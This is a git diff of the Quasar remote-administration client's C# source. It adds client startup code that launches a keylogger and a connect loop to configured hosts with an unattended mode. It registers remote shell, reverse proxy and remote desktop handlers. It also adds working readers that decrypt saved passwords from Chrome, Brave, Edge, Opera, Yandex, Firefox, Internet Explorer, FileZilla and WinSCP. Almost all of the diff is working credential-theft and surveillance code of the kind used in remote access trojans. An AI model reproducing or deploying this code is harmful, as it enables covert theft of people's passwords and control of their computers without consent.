+ Environment.Exit(3);
+ }
+ catch (Exception e)
+ {
+ Debug.WriteLine(e);
+ }
+ }
+ else
+ {
+ try
+ {
+ // (re)apply settings and proceed with connect loop
+ installer.ApplySettings();
+ }
+ catch (Exception e)
+ {
+ Debug.WriteLine(e);
+ }
+
+ if (!Settings.UNATTENDEDMODE)
+ InitializeNotifyicon();
+
+ if (Settings.ENABLELOGGER)
+ {
+ _keyloggerService = new KeyloggerService();
+ _keyloggerService.Start();
+ }
+
+ var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS));
+ _connectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE);
+ _connectClient.ClientState += ConnectClientOnClientState;
+ InitializeMessageProcessors(_connectClient);
+
+ _userActivityDetection = new ActivityDetection(_connectClient);
+ _userActivityDetection.Start();
+
+ new Thread(() =>
+ {
+ // Start connection loop on new thread and dispose application once client exits.
+ // This is required to keep the UI thread responsive and run the message loop.
+ _connectClient.ConnectLoop();
+ Environment.Exit(0);
+ }).Start();
+ }
+ }
+
+ private void ConnectClientOnClientState(Networking.Client s, bool connected)
+ {
+ if (connected)
+ _notifyIcon.Text = "Quasar Client\nConnection established";
+ else
+ _notifyIcon.Text = "Quasar Client\nNo connection";
+ }
+
+ ///
+ /// Adds all message processors to and registers them in the .
+ ///
+ /// The client which handles the connection.
+ /// Always initialize from UI thread.
+ private void InitializeMessageProcessors(QuasarClient client)
+ {
+ _messageProcessors.Add(new ClientServicesHandler(this, client));
+ _messageProcessors.Add(new FileManagerHandler(client));
+ _messageProcessors.Add(new KeyloggerHandler());
+ _messageProcessors.Add(new MessageBoxHandler());
+ _messageProcessors.Add(new PasswordRecoveryHandler());
+ _messageProcessors.Add(new RegistryHandler());
+ _messageProcessors.Add(new RemoteDesktopHandler());
+ _messageProcessors.Add(new RemoteShellHandler(client));
+ _messageProcessors.Add(new ReverseProxyHandler(client));
+ _messageProcessors.Add(new ShutdownHandler());
+ _messageProcessors.Add(new StartupManagerHandler());
+ _messageProcessors.Add(new SystemInformationHandler());
+ _messageProcessors.Add(new TaskManagerHandler(client));
+ _messageProcessors.Add(new TcpConnectionsHandler());
+ _messageProcessors.Add(new WebsiteVisitorHandler());
+
+ foreach (var msgProc in _messageProcessors)
+ {
+ MessageHandler.Register(msgProc);
+ if (msgProc is NotificationMessageProcessor notifyMsgProc)
+ notifyMsgProc.ProgressChanged += ShowNotification;
+ }
+ }
+
+ ///
+ /// Disposes all message processors of and unregisters them from the .
+ ///
+ private void CleanupMessageProcessors()
+ {
+ foreach (var msgProc in _messageProcessors)
+ {
+ MessageHandler.Unregister(msgProc);
+ if (msgProc is NotificationMessageProcessor notifyMsgProc)
+ notifyMsgProc.ProgressChanged -= ShowNotification;
+ if (msgProc is IDisposable disposableMsgProc)
+ disposableMsgProc.Dispose();
+ }
+ }
+
+ private void ShowNotification(object sender, string value)
+ {
+ if (Settings.UNATTENDEDMODE)
+ return;
+
+ _notifyIcon.ShowBalloonTip(4000, "Quasar Client", value, ToolTipIcon.Info);
+ }
+
+ protected override void Dispose(bool disposing)
+ {
+ if (disposing)
+ {
+ CleanupMessageProcessors();
+ _keyloggerService?.Dispose();
+ _userActivityDetection?.Dispose();
+ ApplicationMutex?.Dispose();
+ _connectClient?.Dispose();
+ _notifyIcon.Visible = false;
+ _notifyIcon.Dispose();
+ }
+ base.Dispose(disposing);
+ }
+ }
+}
diff --git a/Quasar.Client/Recovery/Browsers/BravePassReader.cs b/Quasar.Client/Recovery/Browsers/BravePassReader.cs
new file mode 100644
index 000000000..ceec03b3e
--- /dev/null
+++ b/Quasar.Client/Recovery/Browsers/BravePassReader.cs
@@ -0,0 +1,30 @@
+using Quasar.Common.Models;
+using System;
+using System.Collections.Generic;
+using System.IO;
+
+namespace Quasar.Client.Recovery.Browsers
+{
+ public class BravePassReader : ChromiumBase
+ {
+ ///
+ public override string ApplicationName => "Brave";
+
+ ///
+ public override IEnumerable ReadAccounts()
+ {
+ try
+ {
+ string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
+ "BraveSoftware\\Brave-Browser\\User Data\\Default\\Login Data");
+ string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
+ "BraveSoftware\\Brave-Browser\\User Data\\Local State");
+ return ReadAccounts(filePath, localStatePath);
+ }
+ catch (Exception)
+ {
+ return new List();
+ }
+ }
+ }
+}
diff --git a/Quasar.Client/Recovery/Browsers/ChromePassReader.cs b/Quasar.Client/Recovery/Browsers/ChromePassReader.cs
new file mode 100644
index 000000000..d12319b5f
--- /dev/null
+++ b/Quasar.Client/Recovery/Browsers/ChromePassReader.cs
@@ -0,0 +1,30 @@
+using Quasar.Common.Models;
+using System;
+using System.Collections.Generic;
+using System.IO;
+
+namespace Quasar.Client.Recovery.Browsers
+{
+ public class ChromePassReader : ChromiumBase
+ {
+ ///
+ public override string ApplicationName => "Chrome";
+
+ ///
+ public override IEnumerable ReadAccounts()
+ {
+ try
+ {
+ string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
+ "Google\\Chrome\\User Data\\Default\\Login Data");
+ string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
+ "Google\\Chrome\\User Data\\Local State");
+ return ReadAccounts(filePath, localStatePath);
+ }
+ catch (Exception)
+ {
+ return new List();
+ }
+ }
+ }
+}
diff --git a/Quasar.Client/Recovery/Browsers/ChromiumBase.cs b/Quasar.Client/Recovery/Browsers/ChromiumBase.cs
new file mode 100644
index 000000000..1f5948fce
--- /dev/null
+++ b/Quasar.Client/Recovery/Browsers/ChromiumBase.cs
@@ -0,0 +1,84 @@
+using Quasar.Client.Recovery.Utilities;
+using Quasar.Common.Models;
+using System;
+using System.Collections.Generic;
+using System.IO;
+
+namespace Quasar.Client.Recovery.Browsers
+{
+ ///
+ /// Provides basic account recovery capabilities from chromium-based applications.
+ ///
+ public abstract class ChromiumBase : IAccountReader
+ {
+ ///
+ public abstract string ApplicationName { get; }
+
+ ///
+ public abstract IEnumerable ReadAccounts();
+
+ ///
+ /// Reads the stored accounts of an chromium-based application.
+ ///
+ /// The file path of the logins database.
+ /// The file path to the local state.
+ /// A list of recovered accounts.
+ protected List ReadAccounts(string filePath, string localStatePath)
+ {
+ var result = new List();
+
+ if (File.Exists(filePath))
+ {
+ SQLiteHandler sqlDatabase;
+
+ if (!File.Exists(filePath))
+ return result;
+
+ var decryptor = new ChromiumDecryptor(localStatePath);
+
+ try
+ {
+ sqlDatabase = new SQLiteHandler(filePath);
+ }
+ catch (Exception)
+ {
+ return result;
+ }
+
+ if (!sqlDatabase.ReadTable("logins"))
+ return result;
+
+ for (int i = 0; i < sqlDatabase.GetRowCount(); i++)
+ {
+ try
+ {
+ var host = sqlDatabase.GetValue(i, "origin_url");
+ var user = sqlDatabase.GetValue(i, "username_value");
+ var pass = decryptor.Decrypt(sqlDatabase.GetValue(i, "password_value"));
+
+ if (!string.IsNullOrEmpty(host) && !string.IsNullOrEmpty(user))
+ {
+ result.Add(new RecoveredAccount
+ {
+ Url = host,
+ Username = user,
+ Password = pass,
+ Application = ApplicationName
+ });
+ }
+ }
+ catch (Exception)
+ {
+ // ignore invalid entry
+ }
+ }
+ }
+ else
+ {
+ throw new FileNotFoundException("Can not find chromium logins file");
+ }
+
+ return result;
+ }
+ }
+}
diff --git a/Quasar.Client/Recovery/Browsers/ChromiumDecryptor.cs b/Quasar.Client/Recovery/Browsers/ChromiumDecryptor.cs
new file mode 100644
index 000000000..da343e747
--- /dev/null
+++ b/Quasar.Client/Recovery/Browsers/ChromiumDecryptor.cs
@@ -0,0 +1,88 @@
+using Org.BouncyCastle.Crypto;
+using Org.BouncyCastle.Crypto.Engines;
+using Org.BouncyCastle.Crypto.Modes;
+using Org.BouncyCastle.Crypto.Parameters;
+using System;
+using System.Diagnostics;
+using System.IO;
+using System.Linq;
+using System.Security.Cryptography;
+using System.Text;
+
+namespace Quasar.Client.Recovery.Browsers
+{
+ ///
+ /// Provides methods to decrypt Chromium credentials.
+ ///
+ public class ChromiumDecryptor
+ {
+ private readonly byte[] _key;
+
+ public ChromiumDecryptor(string localStatePath)
+ {
+ try
+ {
+ if (File.Exists(localStatePath))
+ {
+ string localState = File.ReadAllText(localStatePath);
+
+ var subStr = localState.IndexOf("encrypted_key") + "encrypted_key".Length + 3;
+
+ var encKeyStr = localState.Substring(subStr).Substring(0, localState.Substring(subStr).IndexOf('"'));
+
+ _key = ProtectedData.Unprotect(Convert.FromBase64String(encKeyStr).Skip(5).ToArray(), null,
+ DataProtectionScope.CurrentUser);
+ }
+ }
+ catch (Exception e)
+ {
+ Debug.WriteLine(e);
+ }
+ }
+
+ public string Decrypt(string cipherText)
+ {
+ var cipherTextBytes = Encoding.Default.GetBytes(cipherText);
+ if (cipherText.StartsWith("v10") && _key != null)
+ {
+ return Encoding.UTF8.GetString(DecryptAesGcm(cipherTextBytes, _key, 3));
+ }
+ return Encoding.UTF8.GetString(ProtectedData.Unprotect(cipherTextBytes, null, DataProtectionScope.CurrentUser));
+ }
+
+ private byte[] DecryptAesGcm(byte[] message, byte[] key, int nonSecretPayloadLength)
+ {
+ // TODO: Replace with .NET-own AES-GCM implementation in .NET Core 3.0+
+ const int KEY_BIT_SIZE = 256;
+ const int MAC_BIT_SIZE = 128;
+ const int NONCE_BIT_SIZE = 96;
+
+ if (key == null || key.Length != KEY_BIT_SIZE / 8)
+ throw new ArgumentException($"Key needs to be {KEY_BIT_SIZE} bit!", nameof(key));
+ if (message == null || message.Length == 0)
+ throw new ArgumentException("Message required!", nameof(message));
+
+ using (var cipherStream = new MemoryStream(message))
+ using (var cipherReader = new BinaryReader(cipherStream))
+ {
+ var nonSecretPayload = cipherReader.ReadBytes(nonSecretPayloadLength);
+ var nonce = cipherReader.ReadBytes(NONCE_BIT_SIZE / 8);
+ var cipher = new GcmBlockCipher(new AesEngine());
+ var parameters = new AeadParameters(new KeyParameter(key), MAC_BIT_SIZE, nonce);
+ cipher.Init(false, parameters);
+ var cipherText = cipherReader.ReadBytes(message.Length);
+ var plainText = new byte[cipher.GetOutputSize(cipherText.Length)];
+ try
+ {
+ var len = cipher.ProcessBytes(cipherText, 0, cipherText.Length, plainText, 0);
+ cipher.DoFinal(plainText, len);
+ }
+ catch (InvalidCipherTextException)
+ {
+ return null;
+ }
+ return plainText;
+ }
+ }
+ }
+}
diff --git a/Quasar.Client/Recovery/Browsers/EdgePassReader.cs b/Quasar.Client/Recovery/Browsers/EdgePassReader.cs
new file mode 100644
index 000000000..3e66044c9
--- /dev/null
+++ b/Quasar.Client/Recovery/Browsers/EdgePassReader.cs
@@ -0,0 +1,30 @@
+using Quasar.Common.Models;
+using System;
+using System.Collections.Generic;
+using System.IO;
+
+namespace Quasar.Client.Recovery.Browsers
+{
+ public class EdgePassReader : ChromiumBase
+ {
+ ///
+ public override string ApplicationName => "Microsoft Edge";
+
+ ///
+ public override IEnumerable ReadAccounts()
+ {
+ try
+ {
+ string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
+ "Microsoft\\Edge\\User Data\\Default\\Login Data");
+ string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
+ "Microsoft\\Edge\\User Data\\Local State");
+ return ReadAccounts(filePath, localStatePath);
+ }
+ catch (Exception)
+ {
+ return new List();
+ }
+ }
+ }
+}
diff --git a/Quasar.Client/Recovery/Browsers/FFDecryptor.cs b/Quasar.Client/Recovery/Browsers/FFDecryptor.cs
new file mode 100644
index 000000000..3bb70ac49
--- /dev/null
+++ b/Quasar.Client/Recovery/Browsers/FFDecryptor.cs
@@ -0,0 +1,116 @@
+using Quasar.Client.Utilities;
+using System;
+using System.IO;
+using System.Runtime.InteropServices;
+using System.Text;
+
+namespace Quasar.Client.Recovery.Browsers
+{
+ ///
+ /// Provides methods to decrypt Firefox credentials.
+ ///
+ public class FFDecryptor : IDisposable
+ {
+ [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+ public delegate long NssInit(string configDirectory);
+
+ [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+ public delegate long NssShutdown();
+
+ [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+ public delegate int Pk11sdrDecrypt(ref TSECItem data, ref TSECItem result, int cx);
+
+ private NssInit NSS_Init;
+
+ private NssShutdown NSS_Shutdown;
+
+ private Pk11sdrDecrypt PK11SDR_Decrypt;
+
+ private IntPtr NSS3;
+ private IntPtr Mozglue;
+
+ public long Init(string configDirectory)
+ {
+ string mozillaPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), @"Mozilla Firefox\");
+ Mozglue = NativeMethods.LoadLibrary(Path.Combine(mozillaPath, "mozglue.dll"));
+ NSS3 = NativeMethods.LoadLibrary(Path.Combine(mozillaPath, "nss3.dll"));
+ IntPtr initProc = NativeMethods.GetProcAddress(NSS3, "NSS_Init");
+ IntPtr shutdownProc = NativeMethods.GetProcAddress(NSS3, "NSS_Shutdown");
+ IntPtr decryptProc = NativeMethods.GetProcAddress(NSS3, "PK11SDR_Decrypt");
+ NSS_Init = (NssInit)Marshal.GetDelegateForFunctionPointer(initProc, typeof(NssInit));
+ PK11SDR_Decrypt = (Pk11sdrDecrypt)Marshal.GetDelegateForFunctionPointer(decryptProc, typeof(Pk11sdrDecrypt));
+ NSS_Shutdown = (NssShutdown)Marshal.GetDelegateForFunctionPointer(shutdownProc, typeof(NssShutdown));
+ return NSS_Init(configDirectory);
+ }
+
+ public string Decrypt(string cypherText)
+ {
+ IntPtr ffDataUnmanagedPointer = IntPtr.Zero;
+ StringBuilder sb = new StringBuilder(cypherText);
+
+ try
+ {
+ byte[] ffData = Convert.FromBase64String(cypherText);
+
+ ffDataUnmanagedPointer = Marshal.AllocHGlobal(ffData.Length);
+ Marshal.Copy(ffData, 0, ffDataUnmanagedPointer, ffData.Length);
+
+ TSECItem tSecDec = new TSECItem();
+ TSECItem item = new TSECItem();
+ item.SECItemType = 0;
+ item.SECItemData = ffDataUnmanagedPointer;
+ item.SECItemLen = ffData.Length;
+
+ if (PK11SDR_Decrypt(ref item, ref tSecDec, 0) == 0)
+ {
+ if (tSecDec.SECItemLen != 0)
+ {
+ byte[] bvRet = new byte[tSecDec.SECItemLen];
+ Marshal.Copy(tSecDec.SECItemData, bvRet, 0, tSecDec.SECItemLen);
+ return Encoding.ASCII.GetString(bvRet);
+ }
+ }
+ }
+ catch (Exception)
+ {
+ return null;
+ }
+ finally
+ {
+ if (ffDataUnmanagedPointer != IntPtr.Zero)
+ {
+ Marshal.FreeHGlobal(ffDataUnmanagedPointer);
+ }
+ }
+
+ return null;
+ }
+
+ [StructLayout(LayoutKind.Sequential)]
+ public struct TSECItem
+ {
+ public int SECItemType;
+ public IntPtr SECItemData;
+ public int SECItemLen;
+ }
+
+ ///
+ /// Disposes all managed and unmanaged resources associated with this class.
+ ///
+ public void Dispose()
+ {
+ Dispose(true);
+ GC.SuppressFinalize(this);
+ }
+
+ protected virtual void Dispose(bool disposing)
+ {
+ if (disposing)
+ {
+ NSS_Shutdown();
+ NativeMethods.FreeLibrary(NSS3);
+ NativeMethods.FreeLibrary(Mozglue);
+ }
+ }
+ }
+}
diff --git a/Quasar.Client/Recovery/Browsers/FirefoxPassReader.cs b/Quasar.Client/Recovery/Browsers/FirefoxPassReader.cs
new file mode 100644
index 000000000..6e53f7b1e
--- /dev/null
+++ b/Quasar.Client/Recovery/Browsers/FirefoxPassReader.cs
@@ -0,0 +1,198 @@
+using Quasar.Client.Helper;
+using Quasar.Client.Recovery.Utilities;
+using Quasar.Common.Models;
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Runtime.Serialization;
+
+namespace Quasar.Client.Recovery.Browsers
+{
+ public class FirefoxPassReader : IAccountReader
+ {
+ ///
+ public string ApplicationName => "Firefox";
+
+ ///
+ public IEnumerable ReadAccounts()
+ {
+ string[] dirs = Directory.GetDirectories(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Mozilla\\Firefox\\Profiles"));
+
+ var logins = new List();
+ if (dirs.Length == 0)
+ return logins;
+
+ foreach (string dir in dirs)
+ {
+ string signonsFile = string.Empty;
+ string loginsFile = string.Empty;
+ bool signonsFound = false;
+ bool loginsFound = false;
+
+ string[] files = Directory.GetFiles(dir, "signons.sqlite");
+ if (files.Length > 0)
+ {
+ signonsFile = files[0];
+ signonsFound = true;
+ }
+
+ files = Directory.GetFiles(dir, "logins.json");
+ if (files.Length > 0)
+ {
+ loginsFile = files[0];
+ loginsFound = true;
+ }
+
+ if (loginsFound || signonsFound)
+ {
+ using (var decrypter = new FFDecryptor())
+ {
+ var r = decrypter.Init(dir);
+ if (signonsFound)
+ {
+ SQLiteHandler sqlDatabase;
+
+ if (!File.Exists(signonsFile))
+ return logins;
+
+ try
+ {
+ sqlDatabase = new SQLiteHandler(signonsFile);
+ }
+ catch (Exception)
+ {
+ return logins;
+ }
+
+
+ if (!sqlDatabase.ReadTable("moz_logins"))
+ return logins;
+
+ for (int i = 0; i < sqlDatabase.GetRowCount(); i++)
+ {
+ try
+ {
+ var host = sqlDatabase.GetValue(i, "hostname");
+ var user = decrypter.Decrypt(sqlDatabase.GetValue(i, "encryptedUsername"));
+ var pass = decrypter.Decrypt(sqlDatabase.GetValue(i, "encryptedPassword"));
+
+ if (!string.IsNullOrEmpty(host) && !string.IsNullOrEmpty(user))
+ {
+ logins.Add(new RecoveredAccount
+ {
+ Url = host,
+ Username = user,
+ Password = pass,
+ Application = ApplicationName
+ });
+ }
+ }
+ catch (Exception)
+ {
+ // ignore invalid entry
+ }
+ }
+ }
+
+ if (loginsFound)
+ {
+ FFLogins ffLoginData;
+ using (var sr = File.OpenRead(loginsFile))
+ {
+ ffLoginData = JsonHelper.Deserialize(sr);
+ }
+
+ foreach (Login loginData in ffLoginData.Logins)
+ {
+ string username = decrypter.Decrypt(loginData.EncryptedUsername);
+ string password = decrypter.Decrypt(loginData.EncryptedPassword);
+ logins.Add(new RecoveredAccount
+ {
+ Username = username,
+ Password = password,
+ Url = loginData.Hostname.ToString(),
+ Application = ApplicationName
+ });
+ }
+ }
+ }
+ }
+
+ }
+
+ return logins;
+ }
+
+ [DataContract]
+ private class FFLogins
+ {
+ [DataMember(Name = "nextId")]
+ public long NextId { get; set; }
+
+ [DataMember(Name = "logins")]
+ public Login[] Logins { get; set; }
+
+ [IgnoreDataMember]
+ [DataMember(Name = "potentiallyVulnerablePasswords")]
+ public object[] PotentiallyVulnerablePasswords { get; set; }
+
+ [IgnoreDataMember]
+ [DataMember(Name = "dismissedBreachAlertsByLoginGUID")]
+ public DismissedBreachAlertsByLoginGuid DismissedBreachAlertsByLoginGuid { get; set; }
+
+ [DataMember(Name = "version")]
+ public long Version { get; set; }
+ }
+
+ [DataContract]
+ private class DismissedBreachAlertsByLoginGuid
+ {
+ }
+
+ [DataContract]
+ private class Login
+ {
+ [DataMember(Name = "id")]
+ public long Id { get; set; }
+
+ [DataMember(Name = "hostname")]
+ public Uri Hostname { get; set; }
+
+ [DataMember(Name = "httpRealm")]
+ public object HttpRealm { get; set; }
+
+ [DataMember(Name = "formSubmitURL")]
+ public Uri FormSubmitUrl { get; set; }
+
+ [DataMember(Name = "usernameField")]
+ public string UsernameField { get; set; }
+
+ [DataMember(Name = "passwordField")]
+ public string PasswordField { get; set; }
+
+ [DataMember(Name = "encryptedUsername")]
+ public string EncryptedUsername { get; set; }
+
+ [DataMember(Name = "encryptedPassword")]
+ public string EncryptedPassword { get; set; }
+
+ [DataMember(Name = "guid")]
+ public string Guid { get; set; }
+
+ [DataMember(Name = "encType")]
+ public long EncType { get; set; }
+
+ [DataMember(Name = "timeCreated")]
+ public long TimeCreated { get; set; }
+
+ [DataMember(Name = "timeLastUsed")]
+ public long TimeLastUsed { get; set; }
+
+ [DataMember(Name = "timePasswordChanged")]
+ public long TimePasswordChanged { get; set; }
+
+ [DataMember(Name = "timesUsed")]
+ public long TimesUsed { get; set; }
+ }
+ }
+}
diff --git a/Client/Core/Recovery/Browsers/InternetExplorer.cs b/Quasar.Client/Recovery/Browsers/InternetExplorerPassReader.cs
similarity index 98%
rename from Client/Core/Recovery/Browsers/InternetExplorer.cs
rename to Quasar.Client/Recovery/Browsers/InternetExplorerPassReader.cs
index 07f2cec2b..7a3ad2eeb 100644
--- a/Client/Core/Recovery/Browsers/InternetExplorer.cs
+++ b/Quasar.Client/Recovery/Browsers/InternetExplorerPassReader.cs
@@ -1,4 +1,7 @@
-using System;
+using Microsoft.Win32;
+using Quasar.Client.Helper;
+using Quasar.Common.Models;
+using System;
using System.Collections;
using System.Collections.Generic;
using System.ComponentModel;
@@ -7,16 +10,16 @@
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
-using Microsoft.Win32;
-using xClient.Core.Data;
-using xClient.Core.Helper;
-namespace xClient.Core.Recovery.Browsers
+namespace Quasar.Client.Recovery.Browsers
{
- public static class InternetExplorer
+ public class InternetExplorerPassReader : IAccountReader
{
+
+ public string ApplicationName => "Internet Explorer";
+
#region Public Members
- public static List GetSavedPasswords()
+ public IEnumerable ReadAccounts()
{
List data = new List();
@@ -34,25 +37,29 @@ public static List GetSavedPasswords()
{
foreach (string[] loginInfo in dataList)
{
- data.Add(new RecoveredAccount() { Username = loginInfo[0], Password = loginInfo[1], URL = item.UrlString, Application = "InternetExplorer" });
+ data.Add(new RecoveredAccount()
+ {
+ Username = loginInfo[0],
+ Password = loginInfo[1],
+ Url = item.UrlString,
+ Application = ApplicationName
+ });
}
}
}
catch (Exception)
{
- // TODO: Add packet sending for error
}
}
}
}
catch (Exception)
{
- // TODO: Add packet sending for error
}
return data;
}
-
+
public static List GetSavedCookies()
{
return new List();
@@ -327,7 +334,6 @@ private enum HashParameters
public class ExplorerUrlHistory : IDisposable
{
-
private readonly IUrlHistoryStg2 obj;
private UrlHistoryClass urlHistory;
private List _urlHistoryList;
@@ -1155,5 +1161,5 @@ public class UrlHistoryClass
}
-#endregion
+ #endregion
}
diff --git a/Quasar.Client/Recovery/Browsers/OperaGXPassReader.cs b/Quasar.Client/Recovery/Browsers/OperaGXPassReader.cs
new file mode 100644
index 000000000..221996f3a
--- /dev/null
+++ b/Quasar.Client/Recovery/Browsers/OperaGXPassReader.cs
@@ -0,0 +1,30 @@
+using Quasar.Common.Models;
+using System;
+using System.Collections.Generic;
+using System.IO;
+
+namespace Quasar.Client.Recovery.Browsers
+{
+ public class OperaGXPassReader : ChromiumBase
+ {
+ ///
+ public override string ApplicationName => "Opera GX";
+
+ ///
+ public override IEnumerable ReadAccounts()
+ {
+ try
+ {
+ string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
+ "Opera Software\\Opera GX Stable\\Login Data");
+ string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
+ "Opera Software\\Opera GX Stable\\Local State");
+ return ReadAccounts(filePath, localStatePath);
+ }
+ catch (Exception)
+ {
+ return new List();
+ }
+ }
+ }
+}
diff --git a/Quasar.Client/Recovery/Browsers/OperaPassReader.cs b/Quasar.Client/Recovery/Browsers/OperaPassReader.cs
new file mode 100644
index 000000000..6511f081d
--- /dev/null
+++ b/Quasar.Client/Recovery/Browsers/OperaPassReader.cs
@@ -0,0 +1,30 @@
+using Quasar.Common.Models;
+using System;
+using System.Collections.Generic;
+using System.IO;
+
+namespace Quasar.Client.Recovery.Browsers
+{
+ public class OperaPassReader : ChromiumBase
+ {
+ ///
+ public override string ApplicationName => "Opera";
+
+ ///
+ public override IEnumerable ReadAccounts()
+ {
+ try
+ {
+ string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
+ "Opera Software\\Opera Stable\\Login Data");
+ string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
+ "Opera Software\\Opera Stable\\Local State");
+ return ReadAccounts(filePath, localStatePath);
+ }
+ catch (Exception)
+ {
+ return new List();
+ }
+ }
+ }
+}
diff --git a/Quasar.Client/Recovery/Browsers/YandexPassReader.cs b/Quasar.Client/Recovery/Browsers/YandexPassReader.cs
new file mode 100644
index 000000000..35c835573
--- /dev/null
+++ b/Quasar.Client/Recovery/Browsers/YandexPassReader.cs
@@ -0,0 +1,30 @@
+using Quasar.Common.Models;
+using System;
+using System.Collections.Generic;
+using System.IO;
+
+namespace Quasar.Client.Recovery.Browsers
+{
+ public class YandexPassReader : ChromiumBase
+ {
+ ///
+ public override string ApplicationName => "Yandex";
+
+ ///
+ public override IEnumerable ReadAccounts()
+ {
+ try
+ {
+ string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
+ "Yandex\\YandexBrowser\\User Data\\Default\\Ya Passman Data");
+ string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
+ "Yandex\\YandexBrowser\\User Data\\Local State");
+ return ReadAccounts(filePath, localStatePath);
+ }
+ catch (Exception)
+ {
+ return new List();
+ }
+ }
+ }
+}
diff --git a/Client/Core/Recovery/FtpClients/FileZilla.cs b/Quasar.Client/Recovery/FtpClients/FileZillaPassReader.cs
similarity index 80%
rename from Client/Core/Recovery/FtpClients/FileZilla.cs
rename to Quasar.Client/Recovery/FtpClients/FileZillaPassReader.cs
index 5e1c6b0fc..a9f5a6456 100644
--- a/Client/Core/Recovery/FtpClients/FileZilla.cs
+++ b/Quasar.Client/Recovery/FtpClients/FileZillaPassReader.cs
@@ -1,18 +1,23 @@
-using System;
+using Quasar.Common.Models;
+using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
using System.Xml;
-using xClient.Core.Data;
-namespace xClient.Core.Recovery.FtpClients
+namespace Quasar.Client.Recovery.FtpClients
{
- public class FileZilla
+ public class FileZillaPassReader : IAccountReader
{
- public static string RecentServerPath = string.Format(@"{0}\FileZilla\recentservers.xml", Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData));
- public static string SiteManagerPath = string.Format(@"{0}\FileZilla\sitemanager.xml", Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData));
+ ///
+ public string ApplicationName => "FileZilla";
- public static List GetSavedPasswords()
+ public string RecentServerPath = string.Format(@"{0}\FileZilla\recentservers.xml", Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData));
+
+ public string SiteManagerPath = string.Format(@"{0}\FileZilla\sitemanager.xml", Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData));
+
+ ///
+ public IEnumerable ReadAccounts()
{
List data = new List();
try
@@ -40,15 +45,15 @@ public static List GetSavedPasswords()
if (xmlNodeChild.Name == "User")
szUsername = xmlNodeChild.InnerText;
if (xmlNodeChild.Name == "Pass")
- szPassword = xmlNodeChild.InnerText;
+ szPassword = Base64Decode(xmlNodeChild.InnerText);
}
data.Add(new RecoveredAccount
{
- URL = szHost,
+ Url = szHost,
Username = szUsername,
Password = szPassword,
- Application = "FileZilla"
+ Application = ApplicationName
});
}
}
@@ -78,7 +83,7 @@ public static List GetSavedPasswords()
data.Add(new RecoveredAccount
{
- URL = szHost,
+ Url = szHost,
Username = szUsername,
Password = szPassword,
Application = "FileZilla"
@@ -93,7 +98,7 @@ public static List GetSavedPasswords()
}
}
- public static string Base64Decode(string szInput)
+ public string Base64Decode(string szInput)
{
try
{
diff --git a/Client/Core/Recovery/FtpClients/WinSCP.cs b/Quasar.Client/Recovery/FtpClients/WinScpPassReader.cs
similarity index 89%
rename from Client/Core/Recovery/FtpClients/WinSCP.cs
rename to Quasar.Client/Recovery/FtpClients/WinScpPassReader.cs
index 635cb94df..3823ad5c0 100644
--- a/Client/Core/Recovery/FtpClients/WinSCP.cs
+++ b/Quasar.Client/Recovery/FtpClients/WinScpPassReader.cs
@@ -1,16 +1,20 @@
using Microsoft.Win32;
+using Quasar.Client.Extensions;
+using Quasar.Client.Helper;
+using Quasar.Common.Models;
using System;
using System.Collections.Generic;
using System.Linq;
-using xClient.Core.Data;
-using xClient.Core.Extensions;
-using xClient.Core.Helper;
-namespace xClient.Core.Recovery.FtpClients
+namespace Quasar.Client.Recovery.FtpClients
{
- public class WinSCP
+ public class WinScpPassReader : IAccountReader
{
- public static List GetSavedPasswords()
+ ///
+ public string ApplicationName => "WinSCP";
+
+ ///
+ public IEnumerable ReadAccounts()
{
List data = new List();
try
@@ -37,10 +41,10 @@ public static List GetSavedPasswords()
data.Add(new RecoveredAccount
{
- URL = host,
+ Url = host,
Username = user,
Password = password,
- Application = "WinSCP"
+ Application = ApplicationName
});
}
}
@@ -53,14 +57,15 @@ public static List GetSavedPasswords()
}
}
- static int dec_next_char(List list)
+ private int dec_next_char(List list)
{
int a = int.Parse(list[0]);
int b = int.Parse(list[1]);
int f = (255 ^ (((a << 4) + b) ^ 0xA3) & 0xff);
return f;
}
- static string WinSCPDecrypt(string user, string pass, string host)
+
+ private string WinSCPDecrypt(string user, string pass, string host)
{
try
{
diff --git a/Quasar.Client/Recovery/IPassReader.cs b/Quasar.Client/Recovery/IPassReader.cs
new file mode 100644
index 000000000..ed4331eac
--- /dev/null
+++ b/Quasar.Client/Recovery/IPassReader.cs
@@ -0,0 +1,22 @@
+using Quasar.Common.Models;
+using System.Collections.Generic;
+
+namespace Quasar.Client.Recovery
+{
+ ///
+ /// Provides a common way to read stored accounts from applications.
+ ///
+ public interface IAccountReader
+ {
+ ///
+ /// Reads the stored accounts of the application.
+ ///
+ /// A list of recovered accounts
+ IEnumerable ReadAccounts();
+
+ ///
+ /// The name of the application.
+ ///
+ string ApplicationName { get; }
+ }
+}
